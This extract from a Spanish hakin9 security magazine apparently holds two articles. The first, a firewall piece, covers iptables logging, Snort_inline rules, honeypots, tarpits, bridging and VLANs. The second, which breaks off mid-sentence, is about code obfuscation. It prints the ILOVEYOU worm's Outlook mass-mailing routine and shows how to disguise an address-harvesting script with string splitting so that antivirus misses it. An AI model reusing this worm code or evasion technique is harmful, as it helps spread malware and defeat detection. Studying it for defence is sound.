iptables -N LOG_DROP # Creates a new chain called LOG_DROP<br />

iptables -A LOG_DROP -j LOG<br />

# Packet will be logged first in the LOG_DROP chain<br />

iptables -A LOG_DROP -j DROP<br />

# Packet will then be dropped in the LOG_DROP chain<br />

[...] # Your INPUT / FORWARD ruleset goes here<br />

iptables -A INPUT -j LOG_DROP<br />

# At the end of the INPUT and FORWARD rulesets the<br />

iptables -A FORWARD -j LOG_DROP<br />

# packet is LOG_DROPped (if not previously allowed)<br />

12 www.<strong>hakin9</strong>.org/es<br />

Snort_inline<br />

Ahora bien, ¿qué herramienta de<br />

código abierto podemos emplear<br />

para la prevención de intrusos?<br />

La respuesta es Snort_inline, una<br />

extensión de Snort relacionada con<br />

Netfilter/IPtables para tratar paquetes<br />

identificados como maliciosos<br />

por el motor de Snort.<br />

Si estás interesado en cómo trabajan<br />

juntos Netfilter/IPtables, Snort<br />

y Snort_inline, lo mejor que puedes<br />

hacer es descargar Honeywall [7],<br />

un CD autoarrancable utlizado principalmente<br />

en redes Honeynet. Para<br />

obtener más información sobre las<br />

Honeynets visita la página del proyecto<br />

Honeynet [8]. Si deseas emplear<br />

Snort_inline para proyectos de<br />

desarrollo, descárgalo de la página<br />

oficial de Snort e instálalo mediante<br />

el comando siguiente:<br />

./configure --enable-inline ;<br />

make ; make install<br />

Las opciones de configuración de<br />

Snort_inline se almacenan en el<br />

archivo snort_inline.conf, que define<br />

su comportamiento general.<br />

En el mismos directorio que el<br />

mencionado archivo de configuración<br />

encontrarás un buen número<br />

de reglas que identifican ciertos<br />

modelos de tráfico malicioso. Vamos<br />

a examinar una de ellas:<br />

drop tcp $HOME_NET any -><br />

$EXTERNAL_NET 6666:7000<br />

(msg:"CHAT IRC channel join";<br />

rev:2; sid:1729;<br />

classtype:misc-activity; content:<br />

"|4A 4F 49 4E 20 3A 20 23|"; nocase;<br />

flow:established,to_server;)<br />

La regla rechazará cualquier paquete<br />

que pertenezca a un intento de<br />

conexión a un canal de IRC desde<br />

nuestra organización hacia Internet.<br />

Hoy en dia, aplicar esta regla en<br />

nuestra organización tiene mucho<br />

sentido. ¿Por qué? Simplemente<br />

porque las botnets emplean el mecanismo<br />

de conexión a servidores<br />

de chat IRC para controlar los hosts<br />

comprometidos. Podría no ser posible<br />

aplicar esta regla de manera universal


en tu organización al completo cuando<br />

los usuarios pueden emplear servicios<br />

de chat y mensajería, pero definitivamente<br />

tendrá sentido aplicarla en<br />

redes compuestas solamente por<br />

servidores, ya que estos no deberían<br />

utilizar estos servicios de chat.<br />

Puede que nos haya sorprendido<br />

la forma con la que Snort_inline es<br />

capaz de ver la carga útil de estos paquetes.<br />

Bueno, el mecanismo es algo<br />

diferente al de PSAD. Sin embargo,<br />

en este caso también se emplearán<br />

las capacidades del potente motor<br />

Netfilter/IPtables.<br />

Netfilter/IPtables ofrece la posibilidad<br />

de definir reglas diferentes para<br />

el tráfico de red, tales como ACCEPT,<br />

DROP, QUEUE, o RETURN. La regla<br />

QUEUE, que depende del kernel, denominada<br />

ip_queue es un mecanismo<br />

traslada paquetes de la pila para hacer<br />

cola en el espacio de usuario donde,<br />

en este caso, Snort _ inline los recibe<br />

los procesa. Será posible entonces<br />

recibir de nuevo estos paquetes en<br />

el kernel a través de Snort _ inline<br />

especificando la accion que hay que<br />

realizar con los paquetes (como AC-<br />

CEPT o DROP).<br />

La regla se realizará al inspeccionar<br />

los paquetes gestionados por<br />

Netfilter/IPtables y al aplicar la configuración<br />

de las reglas para cada uno<br />

de ellos. Una característica importante<br />

de Snort_inline es que permite modificar<br />

los paquetes antes de inyectarlos<br />

de nuevo en el kernel. Una regla que<br />

podría realizar tal acción sería:<br />

alert tcp any any any 80<br />

(msg: "tcp replace"; content:<br />

"GET"; replace:"BET";)<br />

Esto sustituiría el método GET con la<br />

palabra BET, incapacitando supuestamente<br />

el uso malicioso del protocolo<br />

HTTP.<br />

Esta funcionalidad es útil para<br />

inutilizar un ataque sin romper la<br />

conexión, porque cuando se rechaza<br />

un paquete de una sesión TCP, dicha<br />

sesión no puede conntinuar, lo que<br />

alarmará al atacante de la presencia<br />

de un IPS. Sin embargo, este método<br />

no es infalible y funcionará solamente<br />

con atacantes inexpertos.<br />

Es importante mencionar lo que<br />

se denominan falsos positivos. Un<br />

falso positivo es una falsa alarma. En<br />

el mundo de la detección de intrusos,<br />

los falsos positivos constituyen un problema<br />

porque confunden (y muchas<br />

veces sobrecargan) el análisis del<br />

tráfico de red.<br />

En el mundo de la prevención de<br />

intrusos, los falsos positivos son mucho<br />

más peligrosos, ya que un falso<br />

positivo significa que se rompió una<br />

conexión autorizada. ¡Imagina lo que<br />

pasaría si una conexión concreta es<br />

crítica!<br />

Es por eso que la configuración del<br />

conjunto de reglas debe especificarse<br />

con sumo cuidado y por ello, el valor<br />

principal de un IPS está basado en la<br />

exactitud de sus firmas. La verdad es<br />

que la iniciativa en este caso pertenece<br />

a los fabricantes de dispositivos<br />

IPS, que suministran el servicio de actualización<br />

y mantenimiento de reglas<br />

a sus clientes.<br />

Desgraciadamente, la comunidad<br />

Open Source no mantiene actualmente<br />

reglas de IPS eficaces, con<br />

excepción de los conjuntos de reglas<br />

suministradas por el proyecto Honeynet.<br />

Además, no se actualizan periódicamente,<br />

solo con la salida de una<br />

nueva versión del CD Honeywall.<br />

Por otro lado, las reglas de Snort<br />

son accesibles libremente, sin embargo<br />

están orientadas a los IDS y cuando<br />

se convierten a firmas para IPS, el<br />

riesgo de que se produzca un ataque<br />

de denegación de servicio aumenta.<br />

Honeypots<br />

En este punto viste cómo emplear tu<br />

cortafuegos para detectar intrusiones<br />

e incluso prevenirlas.<br />

Todavía hay infinidad de cosas que<br />

puedes hacer con tu cortafuegos para<br />

aumentar la seguridad de tu organización.<br />

Una de ellas es Honeypotting.<br />

De acuerdo con la definición de<br />

los miembros del grupo de noticias<br />

de Honeypots en Securityfocus [9],<br />

un Honeypot es un recurso cuyo valor<br />

ha sido atacado o comprometido. Esta<br />

amplia definición deja espacio para un<br />

gran número de tipos de Honeypot<br />

[10], estrategias y enfoques, desde los<br />

muy simples a los muy complejos, que<br />

www.<strong>hakin9</strong>.org/es<br />

Cortafuegos<br />

no necesariamente deben ser tecnológicos.<br />

Algunos de estos honeypots<br />

pueden emplearse en tu cortafuegos.<br />

Uno de los muchos empleos de<br />

los honeypots es confundir a los atacantes.<br />

Cuando estos tratan de atacar<br />

tu organización, ven un montón de<br />

posibles víctimas, puertos abiertos,<br />

protocolos, servicios, sistemas, redes,<br />

etc., Esta informacion extra falsificada<br />

a propósito hará que sea más difícil<br />

para un atacante identificar recursos<br />

valiosos, es decir, cuando existe información<br />

sensible, y esto típicamente<br />

los obligará a ser menos sigilosos en<br />

sus ataques, aumentando la probabilidad<br />

de ser descubiertos.<br />

¿Cómo puedes hacer esto con tu<br />

cortafuegos? Esta implementación es<br />

simple; se emplean las capacidades<br />

de REDIRECT de Netfilter/IPtables.<br />

Inicialmente, un honeypot fue un programa<br />

inventado por George Bakos<br />

denominado The Tiny Honeypot [11]<br />

(THP), o tarrito de miel, que empleó<br />

esta estrategia entre otras. THP estaba<br />

formado por conjunto de scripts dedicados<br />

a la recolección de malware.<br />

La idea fue muy simple: todos los<br />

puertos en un sistema particular de<br />

Linux serían redirigidos a un simple<br />

puerto donde el oyente, de tipo netcat<br />

en el caso más simple, o bien enterado<br />

del servicio en el más sofisticado,<br />

respondería a los intentos de conexión<br />

y registraría los datos intercambiados,<br />

que en varias ocasiones incluyen<br />

malware. Las entradas de Netfilter/IPtables<br />

que lo permitían serán:<br />

iptables -t nat -N thp-redir<br />

iptables -t nat -A PREROUTING<br />

-i $EXTIF -p tcp --tcp-flags<br />

FIN,SYN,RST,ACK SYN<br />

-m limit --limit 60/minute<br />

-j thp-redir<br />

iptables -t nat -A thp-redir<br />

-p tcp -j REDIRECT<br />

--to-ports 31337<br />

No vamos a profundizar más sobre<br />

THP, ya que ha sido sustituido por<br />

una potente aplicación denominada<br />

Nepenthes [12].<br />

Existe otro enfoque muy interesante<br />

acerca del empleo de los honeypots<br />

en tu cortafuegos. Se trata del modo<br />

13


kit<br />

Tarpit. Tarpit, a veces denominado<br />

Honeypot pegajoso, es un tipo de<br />

Honeypot defensivo cuya misión es<br />

la de ralentizar las conexiones de<br />

red, como las que se observan típicamente<br />

cuando un ataque proveniente<br />

de gusanos de Internet afecta a una<br />

organización.<br />

Como deberías saber, las conexiones<br />

TCP se establecen en 3<br />

fases; SYN, SYN-ACK y ACK, también<br />

conocido como saludo TCP de<br />

tres vías. El truco que Tarpit utiliza es<br />

que cuando un host malicioso intenta<br />

conectarse a un puerto inactivo de un<br />

sistema es contestar a la petición de<br />

conexión maliciosa para luego dejar<br />

de responder.<br />

El host malicioso tratará entonces<br />

de verificar durante un tiempo determinado,<br />

normalmente ente 10 y 20<br />

minutos si la conexión se encuentra<br />

o no activa antes de que el tiempo de<br />

prueba se agote.<br />

La ventaja que supone esta técnica<br />

es que la cantidad de tiempo y energía<br />

que el sistema malicioso o infectado<br />

ha gastado intentando infectar a Tarpit<br />

permitirá que este no pueda comprometer<br />

otros sistemas potencialmente<br />

vulnerables de la red (el host malicioso<br />

solamente tiene una cierta cantidad de<br />

stamina, o lo que es lo mismo, un cantidad<br />

limitada de conexiones que puede<br />

mantener abiertas).<br />

Existen muchas aplicaciones que<br />

pueden hacer Tarpitting. La primera y<br />

más popular es LaBrea [11], que nació<br />

para luchar contra el gusano Code<br />

Red y en su versión 2 implementó<br />

incluso un mecanismo más sofisticado<br />

que el que se ha descrito en el párrafo<br />

anterior.<br />

Netfilter/IPtables introdujo un nuevo<br />

objeto denominado TARPIT que<br />

imita el comportamiento de LaBrea<br />

versión 1. Imagínate que sufres una<br />

infección por un gusano en el puerto<br />

número 31337/TCP. Lo que puedes<br />

hacer es simplemente crear la siguiente<br />

entrada en tu cortafuegos:<br />

iptables -A INPUT -p tcp -m<br />

tcp --dport 31337 -j TARPIT<br />

A partir de este momento, siempre que<br />

un host malicioso o infectado realice<br />

un escaneo al puerto 31337 TCP será<br />

tratado por Tarpit en el cortafuegos.<br />

¿Simple, verdad?<br />

Si deseas aumentar el impacto,<br />

puedes redirigir a nivel de router las<br />

direcciones IP no utilizadas de a un<br />

sistema GNU/Linux que no actúe como<br />

router.<br />

Luego, simplemente activa IP<br />

forwarding, y añade las siguientes<br />

líneas:<br />

iptables -A FORWARD -p tcp -j TARPIT<br />

iptables -A FORWARD -j DROP<br />

Ten en cuenta que el módulo correspondiente<br />

a Tarpit puede no estar<br />

activado o incluso no configurado en<br />

el kernel.<br />

Cortafuegos<br />

transparentes<br />

Existe una manera muy interesante<br />

y útil de emplear tu cortafuegos,<br />

consiste en el Modo Transparente, es<br />

decir, a nivel de capa 2, sin funciones<br />

de enrutamiento. No todos los cortafuegos,<br />

especialmente los comerciales,<br />

soportan esta funcionalidad. Sin<br />

embargo, los dos más populares de<br />

código abierto, Netfilter/IPtables y<br />

Packet Filter sí la soportan.<br />

Honestamente, la capacidad de<br />

un cortafuegos para utilizar la funcionalidad<br />

de transparencia no depende<br />

exclusivamente del código del corta-<br />

En la Red<br />

14 www.<strong>hakin9</strong>.org/es<br />

fuegos sino que además, el sistema<br />

operativo debe ser capaz de actuar<br />

en modo bridge, también conocido<br />

como modo puente. Como se demostró<br />

más arriba, tanto los sistemas<br />

GNU/Linux como OpenBSD entre<br />

otros, soportan esta característica.<br />

¿Cómo lo haremos por ejemplo en<br />

sistemas GNU/Linux? De una manera<br />

muy simple.<br />

Para crear un puente de red,<br />

obviamente necesitaremos al menos<br />

dos interfaces de red, como por<br />

ejemplo, eth0 y eth1. Estas interfaces<br />

no tendrán ninguna dirección IP. Sin<br />

embargo, se pueden asignar una o<br />

varias aisgnadas si se desea.<br />

El siguiente paso una vez que hemos<br />

configurado las interfaces de red<br />

es crear un puente entre las dos, por<br />

ejemplo br0:<br />

ifconfig eth0 0.0.0.0 up -arp<br />

# Bring up eth0 (no esperaremos<br />

respuesta de tipo ARP)<br />

ifconfig eth1 0.0.0.0 up -arp<br />

# Bring up eth1 (no esperaremos<br />

respuesta de tipo ARP)<br />

brctl addbr br0<br />

# Crear puente br0<br />

brctl addif br0 eth0 #<br />

Conectar eth0 al puente br0<br />

brctl addif br0 eth1 #<br />

Conectar eth1 al puente br0<br />

ifconfig br0 0.0.0.0 up -arp<br />

# Traer el puente br0<br />

• http://www.snort.org – Snort, [1]<br />

• http://www.jessland.net/JISK/IDS_IPS/Log_Analysis/Tools.php – Log Analysis,<br />

SIM & SEM Tools, [2]<br />

• http://www.cipherdyne.org/psad/ – PSAD, [3]<br />

• http://www.cipherdyne.org/fwsnort/ – fwsnort, [4]<br />

• http://swatch.sourceforge.net/ – swatch, [5]<br />

• http://www.awprofessional.com/title/0321349962 – Extrusion Detection: Security<br />

Monitoring for Internal Intrusions – Richard Bejtlich – Ed. Addison-Wesley; ISBN<br />

0321349962, [6]<br />

• http://www.honeynet.org/tools/cdrom/: Honeywall CD-ROM, [7]<br />

• http://project.honeynet.org – The Honeynet Project, [8]<br />

• http://www.securityfocus.com/archive/119 – Honeypots mailing List at Securityfocus,<br />

• http://www.jessland.net/Honeypots/Types.php – Honeypot Types, [10]<br />

• http://www.alpinista.org/thp/ – The Tiny Honeypot, [11]<br />

• http://nepenthes.mwcollect.org/ – Nephentes, [12]<br />

• http://www.hack-busters.net/LaBrea/ – LaBrea, [13]<br />

• http://www.jessland.net/JISK/Architecture.php – Security Architecture. [14]


Sobre el Autor<br />

Jess Garcia, fundador de la compañía JSS (Jessland Security Services) es ingeniero<br />

superior de seguridad que trabaja para organizaciones gubernamentales, comerciales,<br />

financieras y de telecomunicaciones en Europa, América Latina, Canadá y<br />

Estados Unidos. Además, es instructor autorizado por el Instituto SANS en varias<br />

disciplinas de seguridad. Jess posse un Máster en Ingeniería de Telecomunicaciones<br />

por la Universidad Politécnica de Madrid y con frecuencia realiza ponencias en acontecimientos<br />

internacionales. Jess es autor del libro Securing Solaris 8 & 9. Using the<br />

Center for Internet Security Benchmark y ha colaborado en muchos otros, incluyendo<br />

varios materiales de cursos impartidos por el instituto SANS. También es el autor de<br />

muchos estándares de seguridad para la administración en Español.<br />

Ahora puedes unir las reglas estándar<br />

de cortafuegos a la interfaz apropiada.<br />

Por ejemplo, para permitir el tráfico<br />

DNS a tu servidor DNS:<br />

iptables -A FORWARD -p tcp<br />

-m physdev --physdev-in eth0<br />

-d dnsserver \--dport 53 -j ACCEPT<br />

iptables -A FORWARD -p udp<br />

-m physdev --physdev-in eth0<br />

-d dnsserver \<br />

--dport 53 -j ACCEPT<br />

Cortafuegos virtuales<br />

Como probablemente hayas podido<br />

percibir, el mundo de la computación<br />

se está convirtiendo poco a<br />

poco en un mundo virtual.<br />

Ha pasado mucho tiempo desde<br />

que nuestros sistemas son tan<br />

potentes, que durante la mayor<br />

parte del tiempo no están trabajando,<br />

y nuestras redes de banda<br />

ancha apenas tampoco. Eso si,<br />

siempre y cuando no se estén utili-<br />

P U B L I C I D A D<br />

REKLAMA<br />

www.<strong>hakin9</strong>.org/es<br />

Cortafuegos<br />

zando aplicaciones Peer-to-Peer.<br />

Esta situación salió de la mano de la<br />

virtualización.<br />

En el mundo de los sistemas es<br />

de sobra conocidas las tecnologías<br />

de virtualización tales como Vmware,<br />

Virtual PC, Xen o Parallels, que permiten<br />

a los usuarios emplear diferentes<br />

sistemas operativos al mismo tiempo<br />

en entornos emulados físicamente<br />

inexistentes.<br />

En el mundo de redes, hace bastante<br />

tiempo que las redes virtuales de<br />

área local (VLAN) resultaron ser una<br />

tecnología muy útil, incluso teniendo<br />

en cuenta que las VLANs no son consideradas<br />

por la comunidad de expertos<br />

de seguridad como un mecanismo<br />

seguro de segmentación de red.<br />

Estas VLANs constituyen una<br />

manera de dividir un dispositivo de<br />

commutación o switch en una serie<br />

entornos o redes independientes.<br />

Para que resulte más fácil la comprensión<br />

de este concepto, imagine-<br />

15


kit<br />

mos que tenemos que agrupar todos<br />

los conectores de un conmutador o<br />

switch en grupos según deseemos, y<br />

de esta manera, un host que pertenezca<br />

a una red virtual o VLAN no será<br />

capaz de comunicarse con otro grupo<br />

hasta que la comunicación se produzca<br />

a través de un encaminador o router<br />

, aunque a veces el conmutador puede<br />

también actuar como encaminador.<br />

Sin embargo, no entraremos en<br />

este aspecto por ahora.<br />

Existe un concepto denominado<br />

trunking que permite unir diferentes<br />

VLANs mediante uno de los puertos<br />

del conmutador. Esto resulta muy útil<br />

cuando se desea ampliar una VLAN<br />

utilizando diferentes conmutadores o<br />

cuando cuando queramos desviar todo<br />

el tráfico al dispositivo que realiza<br />

el encaminamiento o el filtrado basado<br />

en VLAN, como por ejemplo, un<br />

cortafuegos virtual. Sin embargo te<br />

puedes preguntar, ¿cómo identificaremos<br />

qué paquete pertenece a qué<br />

VLAN cuando todas las VLAN viajan<br />

en el mismo cable?<br />

El estándar 802.1q, que define<br />

el comportamiento de las VLAN nos<br />

dice que para identificar a qué VLAN<br />

pertenece un determinado frame o<br />

marco (este tipo de tramas se denominan<br />

frames o marcos cuando nos<br />

referimos a la capa de red) se añade<br />

a este una etiqueta de identificación<br />

que corresponde al número de<br />

VLAN desde donde se ha generado<br />

la trama.<br />

Las grandes compañías comerciales,<br />

especialmente las que se<br />

dedican a la redes y su seguridad,<br />

dedican mucho esfuerzo e interés en<br />

integrar las VLANs con la infraestructura<br />

de red existente (en un esfuerzo<br />

de crear lo que ellos ellos llaman Tejido<br />

de red seguro.<br />

Todo esto significa que obviamente<br />

el soporte de VLAN es un requisito<br />

en los cortafuegos actuales y futuros.<br />

Afortunadamente, los cortafuegos de<br />

código abierto cumplen con esta normativa<br />

ya que soportan el filtrado basado<br />

en VLAN desde hace tiempo.<br />

Como habremos podido imaginar,<br />

para operar en un entorno VLAN,<br />

deben existir previamente interfaces<br />

que soporten el protocolo VLAN,<br />

osea, que sean capaces de entender<br />

el tráfico 802.1q. En GNU/Linux es<br />

bastante simple realizar esto mediante<br />

el comando siguiente:<br />

vconfig add eth0 2<br />

Esto crearía una interfaz virtual<br />

eth0.2 que podría conectarse a la<br />

VLAN 2, a condición de que la tarjeta<br />

de red eth0 esté conectada al puerto<br />

trunk, y de que el host con sistema<br />

GNU/Linux tenga el módulo 8021q<br />

cargado en el kernel (podremos realizar<br />

esto con el comando modprobe<br />

8021q) y las utilidades necesarias de<br />

VLAN instaladas. Ahora podríamos<br />

crear una regla en el cortafuegos<br />

para controlar la nueva interfaz de<br />

forma intuitiva:<br />

iptables -i eth0.2 -A INPUT -j DROP<br />

Esta regla rechazaría de forma predeterminada<br />

todo el tráfico entrante<br />

en la interfaz eth0.2 de la VLAN 2.<br />

Todavía mucho más<br />

Si echamos un vistazo al potente<br />

cortafuegos que es Packet Filter<br />

(PF), observarás que aún queda<br />

mucho por tratar:<br />

• Honeypotting utilizando demonios<br />

tales como spamd que permiten<br />

luchar contra el correo electrónico<br />

no deseado.<br />

• Capacidad de reconocimiento<br />

pasivo del sistema de PF, tecnología<br />

que permite la identificación<br />

de un sistema operativo remoto<br />

mediante la inspección simple de<br />

las cabeceras de los paquetes,<br />

y que además permite aplicar<br />

reglas que afectan al sistema<br />

operativo remoto que intenta<br />

conectarse a tu cortafuegos,<br />

• Empleo de las características de<br />

QoS (Calidad de Servicio) para<br />

reservar ancho de banda para<br />

aplicaciones críticas,<br />

• Alta disponibilidad, que en el caso<br />

de PF está basada en un protocolo<br />

abierto denominado CARP,<br />

y que permite asegurarte de que<br />

tu infraestructura es resistente a<br />

16 www.<strong>hakin9</strong>.org/es<br />

ciertas interrupciones a nivel del<br />

cortafuegos,<br />

• Normalización de paquetes, que<br />

suministra a PF la capacidad de<br />

proteger sistemas antiguos cuyas<br />

pilas TCP/IP son vulnerables.<br />

Esto se consigue modificando las<br />

características de las tramas de<br />

red salientes, como por ejemplo,<br />

el número de secuencia de TCP,<br />

• Authpf, un potente mecanismo<br />

para realizar filtrado a nivel de<br />

usuario.<br />

De igual modo, existen herramientas<br />

comerciales que implementan muchos<br />

de los aspectos que hemos tratado<br />

en este artículo, y algunos más.<br />

Un campo que los cortafuegos<br />

comerciales han tenido en el punto<br />

de mira durante mucho tiempo es<br />

el de la inspección de contenido.<br />

Cómo los ataques dirigidos a los<br />

clientes se hacen más frecuentes<br />

día a día, la necesidad de inspeccionar<br />

el tráfico en la capa de aplicación,<br />

por ejemplo el tráfico web<br />

o el tráfico de correo electrónico<br />

llega a ser una necesidad creciente.<br />

Por otro lado, las organizaciones<br />

se preocupan de a dónde<br />

acceden sus empleados cuando<br />

exploran Internet, por ejemplo, a<br />

páginas pornografía y desean evitar<br />

el tráfico proveniente de este<br />

tipo de sitios.<br />

En ambos casos, el cortafuegos<br />

necesitará utilizar criterios más sofisticados<br />

de filtrado para cumplir con la<br />

política de la compañía. Esto se realiza<br />

sobre todo para tráfico malicioso,<br />

a veces incluso cuando está presente<br />

malware relativamente sofisticado<br />

Sin embargo, la inspección y<br />

análisis de contenido, especialmente<br />

cuando es demasiado intensa ralentizará<br />

considerablemente el tráfico<br />

de red, cosa que no queremos que<br />

ocurra.<br />

Por ello, los fabricantes de<br />

cortafuegos inventaron protocolos<br />

que permiten que sus productos se<br />

integren con dispositivos externos<br />

diseñados especialmente para realizar<br />

este tipo de trabajo, como por<br />

ejemplo, el conocido OPSEC de la<br />

compañía Checkpoint). l


Ofuscación para<br />

principiantes<br />

Laic Aurelian<br />

Hay muchos programas llamados ofuscadores<br />

utilizados para transformar<br />

código para prevenir la ingeniería<br />

inversa, para reducir los ficheros de clases<br />

y ejecutables o para proteger la propiedad<br />

intelectual del código. Herramientas como<br />

Script Encoder permiten a los diseñadores<br />

de scripts codificar sus scripts para que los<br />

clientes y los servidores no puedan ver o modificar<br />

su código fuente. Estas herramientas<br />

aseguran la absoluta integridad del código<br />

fuente escrito en VBScript, Jscript y otros, de<br />

hecho estas herramientas no usan encriptación<br />

y es relativamente fácil decodificar esos<br />

scripts. También hay programas diseñados<br />

para decodificar scripts codificados con estas<br />

herramientas (Windows Script Decoder<br />

es un ejemplo para scripts codificados con<br />

Windows Script Encoder). Estos programas<br />

codificados protegen el código fuente a los<br />

principiantes, porque los usuarios más avanzados<br />

pueden fácilmente leer el código fuente.<br />

Pero el verdadero peligro viene de otro<br />

tipo de uso de la ofuscación: muchos hackers<br />

usan la ofuscación para esconder código malicioso<br />

o para engañar a los antivirus. Y eso<br />

es de lo que trata este artículo.<br />

18 www.<strong>hakin9</strong>.org/es<br />

De acuerdo con Wikipedia<br />

ofuscación es encubrir el<br />

significado de una comunicación<br />

haciéndola más confusa y<br />

difícil de interpretar. Por eso el<br />

Código ofuscado es un código<br />

fuente intencionadamente<br />

transformado para que sea muy<br />

difícil de leer y comprender.<br />

Ofuscación<br />

y transformación de virus<br />

Para comenzar, analizaremos un virus clásico<br />

deniminado Love letter. Este virus de correo<br />

apareció en el 2000 y se susedieron múltiples<br />

variantes, usa el lenguaje VBScript y en esencia<br />

hace lo siguiente:<br />

• Se propaga usando Outlook: se auto envía<br />

a todos los contactos de la libreta de direcciones.<br />

También utiliza mIRC para su propagación<br />

insertando un script a medida.<br />

• Infecta todos los ficheros VBS de la máquina<br />

infectada y sobrescribe todos los archivos jpg<br />

• Intenta descargarse de Internet un determinado<br />

archivo.exe.<br />

En este artículo aprenderás<br />

• Conocimiento básico de código ofuscado<br />

• Como usar la ofuscación para engañar a los<br />

antivirus.<br />

Lo que deberías saber<br />

• Como usar VBScript y ofuscación.


Listado 1. Código del virus original<br />

rem ****************<br />

sub spreadtoemail()<br />

rem ****************<br />

On Error Resume Next<br />

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad<br />

set regedit=CreateObject("WScript.Shell")<br />

set out=WScript.CreateObject("Outlook.Application")<br />

set mapi=out.GetNameSpace("MAPI")<br />

for ctrlists=1 to mapi.AddressLists.Count<br />

set a=mapi.AddressLists(ctrlists)<br />

x=1<br />

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)<br />

if (regv="") then<br />

regv=1<br />

end if<br />

if (int(a.AddressEntries.Count)>int(regv)) then<br />

for ctrentries=1 to a.AddressEntries.Count<br />

malead=a.AddressEntries(x)<br />

regad=""<br />

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)<br />

if (regad="") then<br />

set male=out.CreateItem(0)<br />

male.Recipients.Add(malead)<br />

male.Subject = "ILOVEYOU"<br />

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."<br />

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")<br />

male.Send<br />

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_<br />

DWORD"<br />

end if<br />

x=x+1<br />

next<br />

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntr<br />

ies.Count<br />

else<br />

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntr<br />

ies.Count<br />

end if<br />

next<br />

Set out=Nothing<br />

Set mapi=Nothing<br />

end sub<br />

rem ****************<br />

Listado 2. Código transformado<br />

spreatoemail<br />

sub spreadtoemail()<br />

rem ****************<br />

On Error Resume Next<br />

Dim out, mapi, i, x, malead<br />

set out=WScript.CreateObject("Outlook.Application")<br />

set mapi=out.GetNameSpace("MAPI")<br />

for i=1 to mapi.AddressLists.Count<br />

set a=mapi.AddressLists(i)<br />

for j=1 to a.AddressEntries.Count<br />

malead=a.AddressEntries(j)<br />

msgbox malead<br />

next<br />

next<br />

Set out=Nothing<br />

Set mapi=Nothing<br />

end sub<br />

www.<strong>hakin9</strong>.org/es<br />

Ofuscación<br />

Al realizar una búsqueda simple<br />

en cualquier buscador encontraremos<br />

el código fuente completo<br />

de este virus. El comportamiento<br />

más importantes de este virus es<br />

la propagación usando el correo y<br />

Microsoft Outlook. No se analizará<br />

todo el código y algunas de las<br />

secciones de código del virus serán<br />

transformadas (Listado 1). No<br />

utilizar este código o usarlo sólo<br />

en una máquina de pruebas. No<br />

se utilizará este código por que es<br />

muy peligroso, pero el mismo será<br />

transformado manteniendo su funcionalidad.<br />

Copiar el siguiente código<br />

en un nuevo archivo de texto<br />

y guardarlo con extensión .vbs. el<br />

mismo mostrará un mensaje en un<br />

cuadro de diálogo con cada una de<br />

las direcciones de correo encontradas<br />

en la libreta de direcciones de<br />

la maquina de prueba (Listado 2).<br />

Analizar el fichero con un programa<br />

antivirus (para este ejemplo se<br />

utilizó AVG). El programa antivirus<br />

notificará que es un posible virus.<br />

Debería mostrar un mensaje del tipo<br />

Podría estar infectado con el virus<br />

VBS/ILoveYou. Si el programa<br />

Listado 3. Código ofuscado<br />

spreadtoemail<br />

sub spreadtoemail()<br />

rem ****************<br />

On Error Resume Next<br />

Dim out, mp, i, x, malead<br />

Dim s1, s2, s3, s4, s5<br />

s1="Out"<br />

s2="look."<br />

s3="A"<br />

s4="pplication"<br />

s5=s1 & S2 & s3 & s4<br />

set out=WScript.CreateObject(s5)<br />

s1="M"<br />

s2="A"<br />

s3="P"<br />

s4="I"<br />

s5=s1 & S2 & s3 & s4<br />

set mp=out.GetNameSpace(s5)<br />

for i=1 to mp.AddressLists.Count<br />

set a=mp.AddressLists(i)<br />

for j=1 to a.AddressEntries.Count<br />

malead=a.AddressEntries(x)<br />

msgbox malead<br />

next<br />

next<br />

Set out=Nothing<br />

Set mapi=Nothing<br />

end sub<br />

19


kit<br />

Listado 4. Ejemplo de uso de la función Obfusc<br />

Function Obfusc(ind)<br />

Dim s1, s2, s3, s4, s5, s6<br />

Dim r1, r2, r3, r4, r5, r6, r7<br />

s1= "d"<br />

s2="b"<br />

s3="r"<br />

s4="c"<br />

s5="s"<br />

s6="t"<br />

s7="m"<br />

r1="a"<br />

r2="e"<br />

r3="o"<br />

r4=r1 & s1& r3 & s1 & s2<br />

Select case ind<br />

case 1<br />

r5=r4 & "." & s3 & r2 & s4 & r3 & s3 & s1 & s5 & r2 & s6<br />

'msgbox r5<br />

Obfusc=r5<br />

case 2<br />

r6=r4 & "." & s5 & s6 & s3 & r2 & r1 & s7<br />

'msgbox r6<br />

Obfusc=r6<br />

end select<br />

end function<br />

‘Converts binary data to a string (BSTR) using ADO recordset.<br />

Function RSBinaryToString(xBinary)<br />

Dim Binary<br />

'MultiByte data must be converted To VT_UI1 | VT_ARRAY first.<br />

If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary<br />

Dim RS, LBinary<br />

Const adLongVarChar = 201<br />

Set RS = CreateObject(obfusc(1))<br />

LBinary = LenB(Binary)<br />

If LBinary>0 Then<br />

Else<br />

RS.Fields.Append "mBinary", adLongVarChar, LBinary<br />

RS.Open<br />

RS.AddNew<br />

RS("mBinary").AppendChunk Binary<br />

RS.Update<br />

RSBinaryToString = RS("mBinary")<br />

RSBinaryToString = ""<br />

End If<br />

End Function<br />

‘Read Binary file<br />

Function ReadBinaryFile(FileName)<br />

Const adTypeBinary = 1<br />

Dim BinaryStream<br />

Set BinaryStream = CreateObject(obfusc(2))<br />

BinaryStream.Type = adTypeBinary<br />

BinaryStream.Open<br />

BinaryStream.LoadFromFile FileName<br />

ReadBinaryFile = BinaryStream.Read<br />

BinaryStream.Close<br />

End Function<br />

‘Save a byte array into a file<br />

Sub saveFile(FileName, ByteArray)<br />

Dim bs<br />

Set bs = CreateObject(obfusc(2))<br />

bs.Type = 1<br />

bs.Open<br />

bs.Write ByteArray<br />

bs.SaveToFile FileName, 2<br />

End Sub<br />

20 www.<strong>hakin9</strong>.org/es<br />

antivirus no lo reconoce como un<br />

posible virus, probablemente esta<br />

